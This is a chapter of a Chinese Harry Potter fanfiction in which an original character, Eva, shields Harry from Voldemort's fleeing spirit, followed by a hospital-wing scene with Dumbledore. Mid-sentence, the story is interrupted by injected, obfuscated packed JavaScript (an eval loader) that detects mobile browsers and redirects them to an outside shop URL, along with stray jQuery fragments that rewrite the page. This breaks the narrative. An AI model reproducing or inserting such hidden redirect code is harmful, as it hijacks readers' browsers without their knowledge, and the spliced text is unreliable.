27. 棋局之下(下)

作品:《HP同人霍格沃茨上学指南

    火焰在身后合拢的声音像一声沉重的叹息。


    门后是最后一个房间。


    房间很大,圆形的,天花板高高的,点着火把。但吸引他们目光的不是房间本身,而是房间中央的景象——


    奇洛教授站在那里,背对着他们。但他不是一个人——他的后脑勺上,贴着另一张脸。一张脸扁平得像蛇,颜色是诡异的灰白,眼睛是两条细缝,红色的瞳孔像燃烧的炭火。


    而在奇洛面前,一面巨大的镜子矗立在那里——厄里斯魔镜。镜子里映出奇洛的身影,但在奇洛的镜像手里,握着一块血红色的石头,闪闪发光。


    现实中的奇洛手里空无一物。他正对着镜子喃喃自语:“给我……把石头给我……”


    “奇洛教授?”哈利的声音打破了寂静。


    奇洛猛地转过身。那张后脑勺上的脸也转了过来——两张脸同时看向他们,四只眼睛,在昏暗光线下闪着诡异的光。


    “波特,”奇洛说,声音还是结结巴巴的,但眼神不一样了——不再是那种惊慌失措,而是冰冷的,像蛇,“还有……张小姐。真意外。”


    他后脑勺上的脸发出嘶嘶的声音,用的是另一种语言,但Eva能听懂几个词:“……碍事……杀掉……”


    奇洛朝他们走来。Eva感觉到腕间的玉佩突然变得滚烫——比禁林那晚还要烫,像一块烧红的炭贴在皮肤上。她体内的“炁”骤然加速,像受惊的溪流开始狂乱地奔涌。


    “魔法石在镜子里,”奇洛说,声音里带着疯狂的笑意,“但我拿不到。邓布利多施了魔法……只有真正想找到石头但不想使用它的人,才能拿到。多么讽刺。”


    他的目光落在哈利身上:“但你,波特……你只是个小男孩,想保护石头,不想用它。也许……镜子会给你。”


    哈利盯着镜子,绿眼睛里满是困惑和恐惧。他慢慢走向镜子,奇洛没有阻止。


    Eva站在原地,魔杖握在手里,但手臂因为玉佩的滚烫和“炁”的狂乱而微微发抖。她看着奇洛,看着那张后脑勺上的脸——那就是伏地魔,那个连名字都不能提的人,那个在禁林猎杀独角兽、想用魔法石复活的人。


    哈利站在镜子前。镜子里,他的镜像把手伸进口袋,掏出了一块血红色的石头,然后眨了眨眼,又把石头放回口袋。现实中,哈利感觉自己的口袋一沉——石头真的出现了。


    “他拿到了!”奇洛后脑勺上的脸尖叫道,“杀了他!拿过来!”


    奇洛扑向哈利。哈利想跑,但奇洛已经抓住了他的手腕——


    “啊——!”奇洛突然尖叫起来,像被烫到一样松开了手。他抓哈利的那只手上冒起了烟,皮肤开始溃烂。


    哈利也愣住了,看着自己的手——没事。


    “抓住他!用别的方法!”伏地魔嘶吼。


    奇洛抽出魔杖:“阿瓦达——”


    绿光还没发出,Eva的咒语已经先到了:“除你武器!”


    红光击中奇洛的手腕,魔杖飞出去,撞在墙上。但奇洛没有倒下——他空着手扑向哈利,想用身体压制他。


    哈利本能地伸手去推——他的手碰到奇洛的脸。


    “不——!!!”更凄厉、更长久的惨叫。奇洛整张面孔以哈利掌心触碰点为中心,肉眼可见地腐烂、塌陷下去,仿佛血肉在瞬间被某种纯净的力量净化、消融。他踉跄后退,双手疯狂抓挠着自己的脸,却只抓下更多溃烂的皮肉。


    “废物!没用的东西!”后脑勺上的脸发出狂怒的嘶吼。一团浓郁如实质的黑雾猛地从奇洛濒死的躯壳中挣脱出来,悬浮在半空。黑雾剧烈翻腾,勉强凝聚成一张模糊而狰狞的蛇脸,那双狭长的红色瞳孔燃烧着纯粹的恶意与贪婪,死死盯住了哈利——和他鼓起的口袋。


    “魔法石……”雾状的脸发出空洞而贪婪的嘶语,随即化作一道漆黑的利箭,挟着刺骨的冰寒与令人作呕的甜腻腐朽气息,直射哈利的心脏!


    Eva挡在了哈利面前。


    动作快过思考。就像禁林里冲向蜘蛛的螯肢,就像棋盘上举起魔杖对准落下的石杖。看到那团充满极致恶意的黑暗扑向朋友,她的身体已经先于大脑做出了反应。


    没有实体碰撞的闷响。黑雾撞上了她——不,是撞上了她周身瞬间亮起的一层柔和的、半透明的白光。


    “嗡——!”


    一声低沉的、仿佛古钟鸣响的震颤在房间内回荡。Eva腕间的玉佩滚烫如炽铁,以前所未有的亮度绽放光华。与此同时,她体内那股平和的“炁”仿佛受到了最激烈的挑衅,不再遵循爷爷教导的舒缓流转,而是如同被惊醒的怒龙,轰然爆发,顺着经脉奔涌向她的四肢百骸,最终与玉佩涌出的守护之力在她身前交汇、融合!


    那层白光,正是她自身“炁”的韧性,与玉佩古老守护法则的结合。


    黑雾撞上白光的刹那,时间仿佛凝滞了一瞬。


    刺耳的尖啸与低沉的嗡鸣交织炸开——那不是声音,而是两种截然相反的魔力在疯狂撕咬。黑雾如同拥有生命的粘稠沥青,翻滚着试图渗透、腐蚀那层柔光;而白光则像一张被拉至极限的古老绢帛,在Eva身前剧烈震颤,表面流转的太极图纹明灭不定。


    玉佩滚烫到几乎烙进她的腕骨,体内奔涌的“炁”以前所未有的速度被抽离,顺着经脉涌向掌心,与玉佩涌出的暖流汇合,死死抵住那片冰寒刺骨的黑暗。她能“感觉”到——不是看到,是某种更深层的感知——黑雾中充斥着饥饿、怨恨与对生命的纯粹憎恶,而己方的力量则像深潭底部最沉静的水,温润却坚韧,试图化解、包容那股暴戾。


    但差距太大了。


    “咔嚓——”


    仿佛琉璃碎裂的细微声响在她灵台深处响起。白光屏障向内凹陷,出现蛛网般的裂痕!


    紧接着,一股无法形容的巨力隔着即将破碎的屏障狠狠撞上她的胸口。


    “呃——!”


    她像被一柄无形的重锤砸中,双脚离地,向后倒飞。背脊撞上石墙的闷响、骨骼的抗议、喉头涌上的腥甜……所有感觉混杂在一起。视野瞬间被黑暗与迸溅的金星吞噬,耳边只剩下自己粗重如风箱的喘息,和玉佩温度骤降带来的、冰冷的空虚感。


    “有意思……”黑雾发出断续、嘶哑的波动,不再是语言,而是直接响彻脑海的恶意低语,“东方的……古老守护……竟能伤到我……但,还不够!”


    它再次竭力凝聚,虽然体积小了一圈,却更加凝实,带着一种同归于尽般的决绝,第二次扑向倚着墙壁、无法动弹的Eva——它意识到这个女孩的“守护”是它夺取魔法石的最大障碍,必须先予摧毁!


    “不——!!”哈利嘶吼着,不知哪来的力气,猛地扑过来,用整个身体严严实实地挡在了Eva与黑雾之间。


    没有光芒亮起。黑雾如同穿过一道虚影,径直没入了哈利的身体。


    “啊——!!!!”


    这一次,发出痛苦尖啸的却是那团黑雾!在穿过哈利身体的刹那,它仿佛撞上了一片无边无际、温暖而灼热的金色海洋——那是莉莉·波特用生命为代价施加的古老保护,是“爱”所化的最纯粹、最强大的魔法。对黑暗灵魂而言,这无异于将一块冰投入熔炉!


    哈利的额头,那道闪电形疤痕骤然迸裂,鲜红的血液涌出,划过他苍白的面颊。他发出一声短促的痛呼,双眼翻白,直挺挺地向后倒去,但在失去意识前,他的手臂仍下意识地护向Eva的方向。


    而那团黑雾从哈利背后逸散出来时,已经稀薄得像一缕即将散去的晨间污秽,几乎无法维持形状。它剧烈地颤抖着,里面传出微弱却充满极致怨恨的嘶嘶声,最后看了一眼倒在地上的两个孩子,猛地一缩,化作一道几乎看不见的细小黑烟,“嗖”地一声从门缝钻了出去,消失无踪。


    房间里只剩下他们三个——哈利躺在地上,Eva靠在墙边,奇洛蜷缩在角落,已经不动了,脸烂得看不清五官。


    寂静。


    然后门被撞开了。


    邓布利多教授冲进来,银白色的长胡子在身后飞扬。他后面跟着麦格教授、斯内普教授,还有气喘吁吁的赫敏——她带着教授们回来了。


    “哈利!”邓布利多快步走到哈利身边,俯身检查。


    “我没事……”哈利挣扎着坐起来,手捂着额头,“Eva……她……”


    麦格教授已经扶起了Eva。Eva感觉全身的骨头都像散了架,胸口闷得喘不过气,但意识还清醒。玉佩已经不那么烫了,恢复成温温的触感,但“炁”还在体内乱窜,像脱缰的野马。


    “医疗翼,”邓布利多果断地说,“立刻。”


    斯内普教授走到奇洛身边,用魔杖检查了一下,黑眼睛里闪过一丝复杂的情绪——不是悲伤,也不是惊讶,更像是一种……确认。


    “死了,”他冷冷地说,然后他转向哈利和Eva,视线先在哈利血流不止的额头上停留一瞬,瞳孔微微收缩;随即落到Eva苍白的脸上,尤其是她手中紧握的、光泽黯淡的玉佩。他的眉头几不可察地蹙了一下,像是看到了某种他不熟悉但又必须评估的东西。


    他又移向哈利,“波特,能走吗?”


    哈利点点头,在麦格教授的搀扶下站起来。他的疤痕还在流血,但绿眼睛亮得惊人,一直看着Eva。


    他们被带出房间,走过那些机关房间——棋盘已经静止了,魔鬼网缩在角落,路威还在睡觉,笛声早就停了。


    城堡的走廊空荡荡的,宵禁时间早就过了。火把的光在石墙上跳动,把影子拉得长长的。


    Eva被麦格教授搀扶着,每一步都像踩在棉花上。她听见赫敏在后面小声抽泣,听见罗恩呻吟着说“我没事,真的”,听见邓布利多温和但严肃的声音在交代什么。


    但最清晰的,是哈利的目光——他一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980643|193567||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    直看着她,绿眼睛里充满了担忧,还有……一种她看不懂的东西。


    医疗翼里,庞弗雷夫人像只受惊的母鸡,把他们按在床上,灌下一堆味道古怪的药水。Eva喝下去后,感觉乱窜的“炁”慢慢平复下来,胸口的闷痛也减轻了些。


    哈利就在旁边的床上,庞弗雷夫人正小心地处理他额头上的伤。


    “疤痕裂开了,但没伤到骨头,”庞弗雷夫人皱着眉头说,“需要特殊药膏……邓布利多教授已经去取了。”


    邓布利多教授走进来,手里拿着一个小罐子。他把罐子递给庞弗雷夫人,然后坐在哈利床边的椅子上。


    “现在,告诉我发生了什么,”他的声音很温和,但蓝眼睛锐利得像能看穿人心,“从头开始。”


    哈利断断续续地讲了——从怀疑斯内普,到发现魔法石的真相,到今晚的决定,到每一个房间,最后到奇洛和……伏地魔。


    他说出那个名字时,声音在发抖,但很清晰。


    邓布利多安静地听着,半月形眼镜后的蓝眼睛注视着哈利,手指轻轻搭在膝盖上。当哈利说到“奇洛后脑勺上那张脸”时,邓布利多的指尖几不可察地蜷缩了一下。


    听到“伏地魔的灵魂碎片”和“玉佩发光抵挡”时,他缓缓向后靠进椅背,目光转向窗外渐亮的天空,沉默持续了漫长的几秒。医疗翼的空气仿佛都沉重了几分。


    “我明白了。”他终于开口,声音比平时更低沉,带着一种沉重的了然,“奇洛教授……他很久以前就被蛊惑了。而汤姆……”他顿了顿,说出那个名字时,语气里有一种复杂的疲倦,“他总是善于利用人心的弱点与渴望。”


    “张小姐,”他温和地说,“能给我看看你的玉佩吗?”


    Eva从手腕上取下玉佩——绳子没断,真是奇迹。玉佩比平时暗淡了一些。邓布利多接过玉佩,仔细看了看。玉佩在医疗翼的灯光下泛着光泽,太极图和八卦符号清晰可见。


    “古老的守护……需要纯净的心念与自身力量共同激发。你做得很好,但代价也不小。”他将玉佩轻轻放回Eva掌心,手指在她腕间残留的灼痕上短暂停留,眼神深邃,“有些力量,过度调用会伤及根本。你需要时间,让它——也让你自己——慢慢恢复。”


    Eva点点头,把玉佩重新戴好。玉佩贴在皮肤上,比平时凉很多。她能感觉到,此刻它就像一块被耗尽的电池,需要时间慢慢从她平稳下来的“炁”中重新汲取能量。


    “至于你,哈利,”邓布利多转向哈利,“你母亲留给你的保护,比任何魔法都要强大。爱留下的印记,伏地魔无法理解,也无法触碰。这就是为什么奇洛碰到你会受伤,为什么伏地魔的灵魂碎片无法伤害你。”


    哈利摸着额头上的疤痕,绿眼睛里满是困惑:“可是……他还在,对不对?伏地魔。他只是……逃走了。”


    “是的,”邓布利多点点头,表情严肃,“他逃走了。但他现在比任何时候都要虚弱。失去了奇洛这个宿主,又在你母亲保护的力量下受了重创……他需要时间恢复。很长的时间。”


    他站起身,银白色的长胡子在灯光下闪闪发光:“现在,你们需要休息。明天就是年终宴会,然后暑假开始。把今晚的事放在心里,但不要让它压垮你们。你们做了非常勇敢的事,但也非常危险。我希望你们明白——有些战斗,应该交给大人。”


    他走到门口,又回头看了一眼:“魔法石已经被销毁了。尼可·勒梅和他的妻子做好了准备,他们的人生已经足够漫长和充实。有时候,知道该在什么时候放手,也是一种智慧。”


    门关上了。医疗翼里安静下来,只有庞弗雷夫人在配药时瓶罐碰撞的轻微响声。


    哈利转过头,看着Eva:“谢谢你。”


    他的声音很清晰,但Eva实在是太困了。


    “你也救了我。”她迷迷糊糊地说。


    哈利摇摇头:“不,是你先……挡在我面前。”他顿了顿,绿眼睛在昏暗光线下闪着光,“为什么?”


    Eva实在是太困了,闭上了眼睛:“不知道。就是……做了……”


    哈利听着她逐渐平稳的呼吸声,自己也感到一阵沉重的疲惫袭来,但心里某个地方却异常清醒。额头的伤口在药膏作用下传来清凉的刺痛,但更深处,是一种灼热的东西在沉淀——是今晚直面伏地魔的恐惧,是看到朋友受伤的愤怒与无力,是母亲保护再次被证实的温暖与悲伤……还有,Eva挡在他面前时,那瞬间炸开的刺目光芒,和她向后倒下时苍白的脸。


    这些画面反复闪现,最后凝结成一种沉甸甸的决心,沉入心底最深处。他还不能完全说清那是什么,他必须变得更强,强到足以面对黑暗,强到……或许有一天,能换他来挡在前面。


    他最后看了一眼旁边床上熟睡的女孩,也闭上了眼睛。月光透过医疗翼的窗户,温柔地洒在两个疲惫的孩子身上。